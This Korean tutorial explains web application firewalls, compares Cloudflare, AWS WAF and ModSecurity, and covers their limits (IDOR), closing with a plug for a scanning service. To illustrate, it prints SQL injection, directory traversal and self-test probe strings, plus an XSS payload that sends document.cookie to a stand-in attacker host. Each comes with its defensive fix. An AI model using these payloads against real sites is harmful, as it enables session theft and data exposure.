WAF는 웹 앱 앞에 서 있는 경비원이다
일반 방화벽(Firewall)이 IP/포트 레벨에서 트래픽을 필터링한다면, WAF(Web Application Firewall)는 HTTP 요청 내용을 보고 공격을 차단한다. SQL Injection, XSS, 파일 업로드 공격 같은 애플리케이션 레벨 공격을 막는다.
차이를 실감나게 보자. 일반 방화벽은 "443 포트로 들어오는 트래픽은 통과"까지만 판단한다. 그 443 포트 안에서 오가는 ?id=1 UNION SELECT password FROM users 같은 요청은 방화벽 입장에선 그냥 정상 HTTPS 트래픽이다. 반면 WAF는 요청 본문·URL·헤더·쿠키까지 뜯어보고 "이건 SQL 구문이 섞인 공격이다"라고 판단해 차단한다. 경비원이 출입증(IP/포트)만 보는 게 아니라 가방 속 내용물(HTTP 페이로드)까지 검사하는 셈이다.
WAF는 보통 리버스 프록시 형태로 앱 앞단에 위치한다. 모든 요청이 WAF를 거쳐 애플리케이션에 도달하고, 응답도 WAF를 통과해 나간다. 이 위치 덕분에 애플리케이션 코드를 한 줄도 고치지 않고도 알려진 공격 패턴을 걸러낼 수 있다. 코드를 즉시 못 고치는 상황에서 취약점에 임시 방어막을 치는 "가상 패치(virtual patching)"가 가능한 이유다.
WAF가 차단하는 공격 유형
- SQL Injection: URL이나 파라미터에 SQL 구문이 포함된 요청
- XSS: 스크립트 태그가 포함된 입력
- Directory Traversal: ../../etc/passwd 같은 경로 탈취 시도
- Remote File Inclusion: 외부 파일을 포함시키는 공격
- DDoS: 비정상적으로 높은 요청 수
공격자가 실제로 어떻게 악용하는지 하나씩 보자.
SQL Injection, 로그인 없이 관리자 권한 탈취
공격자는 로그인 폼이나 검색창, URL 파라미터에 SQL 구문을 밀어넣는다. 아래 요청은 인증을 우회하려는 전형적인 시도다.
GET /login?user=admin'--&pass=x HTTP/1.1
GET /product?id=1 OR 1=1 UNION SELECT username,password FROM users--
취약한 서버는 이 입력을 그대로 쿼리에 붙여 전체 사용자 계정을 응답으로 토해낸다. WAF는 UNION SELECT, OR 1=1, 주석 기호(--) 같은 시그니처와 인코딩 변형(%27, 0x27)을 탐지해 요청을 403으로 끊는다. 다만 WAF는 어디까지나 임시 방어다. 근본 해결은 파라미터 바인딩(prepared statement)이다.
# 취약: 문자열 조합
cur.execute("SELECT * FROM users WHERE id = '" + user_id + "'")
# 안전: 파라미터 바인딩 — 입력이 데이터로만 취급된다
cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))
XSS, 방문자 세션 쿠키 탈취
게시판 댓글, 프로필 이름, 검색어 반영 영역에 <script>를 심으면, 그 페이지를 여는 다른 사용자의 브라우저에서 공격자 스크립트가 실행된다. 대표적으로 세션 쿠키를 공격자 서버로 빼돌린다.
<script>new Image().src='//attacker.com/c?'+document.cookie</script>
WAF는 요청에 담긴 <script>, onerror=, javascript: 같은 페이로드를 차단한다. 근본 대응은 출력 시 HTML 이스케이프와 CSP(Content-Security-Policy) 헤더다. 쿠키에 HttpOnly를 붙이면 스크립트가 document.cookie로 세션을 읽지 못한다.
Directory Traversal, 서버 설정 파일 유출
../를 반복해 웹 루트 밖의 파일을 읽어내는 공격이다. 파일 다운로드·이미지 조회 기능이 사용자 입력을 경로에 그대로 넣으면 뚫린다.
GET /download?file=../../../../etc/passwd
GET /view?path=..%2f..%2f..%2fconfig%2fdatabase.yml
WAF는 ../와 그 인코딩 변형(%2e%2e%2f, ..%c0%af)을 탐지한다. 코드 레벨에서는 허용된 디렉터리로 경로를 정규화(canonicalize)하고 화이트리스트로 파일명을 검증해야 한다.
WAF 옵션 비교
Cloudflare WAF (무료/유료)
DNS를 Cloudflare로 옮기면 무료 플랜에서도 기본 WAF 기능을 사용할 수 있다. OWASP Top 10 기반 규칙이 자동 적용된다. 설정이 간단하고 관리 부담이 거의 없다는 게 가장 큰 장점이다.
실무 관점에서 Cloudflare가 소규모 서비스에 특히 잘 맞는 이유는 세 가지다. 첫째, 트래픽이 Cloudflare 엣지를 거치므로 원본 서버 IP가 숨겨져 직접 공격 대상이 줄어든다. 둘째, DDoS 완화와 CDN 캐싱이 같이 딸려온다. 셋째, "Managed Ruleset"을 켜기만 하면 되는 수준이라 진입장벽이 낮다.
주의할 함정: 오리진 서버 IP가 외부에 알려져 있으면 공격자는 Cloudflare를 우회해 서버로 직접 요청을 보낸다. 이러면 WAF를 켜도 무의미하다. 반드시 오리진 방화벽에서 Cloudflare IP 대역만 허용하도록 인바운드 규칙을 잠가야 한다. 또 SSL 모드를 "Flexible"로 두면 Cloudflare↔오리진 구간이 평문이라 중간자 공격에 노출되니, 오리진에도 인증서를 깔고 "Full (strict)"로 올리는 게 원칙이다.
AWS WAF
AWS CloudFront나 ALB 앞에 붙이는 방식. 규칙을 직접 정의하거나 AWS Managed Rules를 구독해서 사용한다. 유연하지만 설정이 복잡하고 비용이 발생한다.
AWS 인프라를 이미 쓰고 있다면 자연스러운 선택이다. Web ACL을 만들고 CloudFront 배포나 ALB에 연결한 뒤, AWSManagedRulesCommonRuleSet(일반 공격), AWSManagedRulesSQLiRuleSet(SQLi), AWSManagedRulesKnownBadInputsRuleSet 등을 조합한다. 요청 수와 규칙 수에 따라 과금되므로 트래픽이 큰 서비스는 비용을 미리 계산해야 한다. Rate-based rule로 특정 IP의 초당 요청 수를 제한해 무차별 대입(brute force)과 스크래핑도 막을 수 있다.
ModSecurity (오픈소스, 무료)
Nginx/Apache에 모듈로 추가하는 오픈소스 WAF. OWASP CRS(Core Rule Set)와 함께 사용한다. 무료지만 설정과 유지보수에 시간이 든다.
# Ubuntu에서 ModSecurity + Nginx 설치
sudo apt install libnginx-mod-security2 -y
# /etc/nginx/nginx.conf에 추가
modsecurity on;
modsecurity_rules_file /etc/nginx/modsec/main.conf;
ModSecurity를 쓸 때 실무에서 반드시 거치는 단계가 있다. 처음엔 차단(SecRuleEngine On)이 아니라 탐지 전용 모드(SecRuleEngine DetectionOnly)로 켜서 로그만 쌓는다. 며칠간 정상 트래픽이 규칙에 얼마나 걸리는지(오탐, false positive) 확인하고, 걸리는 규칙을 예외 처리한 뒤에 차단 모드로 전환한다. 이 튜닝을 생략하면 정상 사용자의 요청까지 막혀 서비스 장애로 이어진다. OWASP CRS는 민감도를 paranoia level 1~4로 조절하는데, 1에서 시작해 오탐을 잡아가며 단계적으로 올리는 게 정석이다.
어떤 걸 골라야 하나
레드팀 관점에서 정리하면 이렇다. 인프라 지식이 얕고 빠르게 방어막을 치고 싶으면 Cloudflare 무료 플랜이 압도적으로 현실적이다. AWS 위에 서비스가 있고 세밀한 규칙 제어가 필요하면 AWS WAF. 온프레미스 서버를 직접 운영하고 규칙을 완전히 통제하고 싶으면 ModSecurity. 세 가지 모두 "설치했다"가 아니라 "규칙을 튜닝하고 우회로를 막았다"까지 가야 실효가 있다.
내 사이트에 WAF가 걸려 있는지 직접 확인하는 법
WAF가 실제로 동작 중인지는 몇 분이면 스스로 확인할 수 있다. 두 가지 방법을 소개한다.
1) 응답 헤더 확인. 브라우저 개발자도구(F12) → Network 탭에서 아무 요청이나 클릭해 Response Headers를 본다. Cloudflare가 앞단에 있으면 server: cloudflare와 cf-ray 헤더가 보인다. AWS WAF/CloudFront는 x-amz-cf-id, ModSecurity는 종종 Server 헤더에 흔적이 남는다.
2) 무해한 공격 시그니처로 반응 테스트. 자기 소유 도메인에 한해, 명백한 공격 패턴을 보내 403이 돌아오는지 본다. 정상 요청은 200, 공격 시그니처만 403/406으로 끊기면 WAF가 살아있다는 신호다.
# 정상 요청 — 200 기대
curl -s -o /dev/null -w "%{http_code}\n" "https://yourdomain.com/?q=hello"
# 공격 시그니처 — WAF가 있으면 403/406
curl -s -o /dev/null -w "%{http_code}\n" "https://yourdomain.com/?q=1' OR '1'='1"
curl -s -o /dev/null -w "%{http_code}\n" "https://yourdomain.com/?q=<script>alert(1)</script>"
주의: 이 테스트는 반드시 본인 소유 서버에만 해야 한다. 타인의 서비스에 공격 시그니처를 보내는 행위는 정보통신망법 위반이다.
WAF만으로 충분할까?
WAF는 알려진 공격 패턴을 막는 데 효과적이다. 하지만 비즈니스 로직 취약점(IDOR, 인증 우회 등)은 WAF가 잡지 못한다. 인증 없는 API 엔드포인트에 SQLi 없이 그냥 GET 요청만 해도 데이터를 가져올 수 있는 경우, WAF는 아무것도 차단하지 않는다.
구체적인 예를 보자. 주문 조회 API가 /api/orders/1024처럼 순번 ID를 쓰는데 "이 주문이 로그인한 사용자 것인지" 검증하지 않으면, 공격자는 숫자만 바꿔가며 남의 주문을 전부 긁어간다. 이게 IDOR(Insecure Direct Object Reference)다.
# WAF가 봐도 완벽히 정상인 요청 — 그래서 통과된다
GET /api/orders/1025
GET /api/orders/1026
GET /api/orders/1027
이 요청들엔 SQL 구문도, 스크립트 태그도, 이상한 경로도 없다. WAF 입장에선 막을 근거가 전혀 없다. 방어는 오직 애플리케이션 코드에서 "이 주문의 소유자가 요청자와 같은가"를 확인하는 인가(authorization) 로직뿐이다. AI 코딩 도구로 빠르게 만든 CRUD API에서 특히 자주 빠지는 부분이다.
WAF는 방어의 여러 레이어 중 하나다. 애플리케이션 코드의 보안, 인증/인가 설계, 보안 헤더 설정과 함께 사용해야 의미가 있다. 우선순위로 정리하면: (1) 코드 레벨의 인증·인가·입력검증이 1순위, (2) 보안 헤더·쿠키 속성·SSL 설정이 2순위, (3) WAF는 이 위에 얹는 "가상 패치 + DDoS 완화" 레이어다. WAF를 켰다고 앞의 두 가지를 건너뛰면, 로직 취약점은 그대로 열려 있다.
내 서버에 WAF가 동작 중인지는 CodeScan의 WAF 탐지 항목에서 확인할 수 있다. WAF 유무뿐 아니라 보안 헤더, SSL 설정, 열린 포트, API 키 노출, Supabase RLS 미설정까지 URL 하나로 한 번에 점검해, WAF가 못 막는 설정 레벨의 빈틈까지 함께 짚어준다.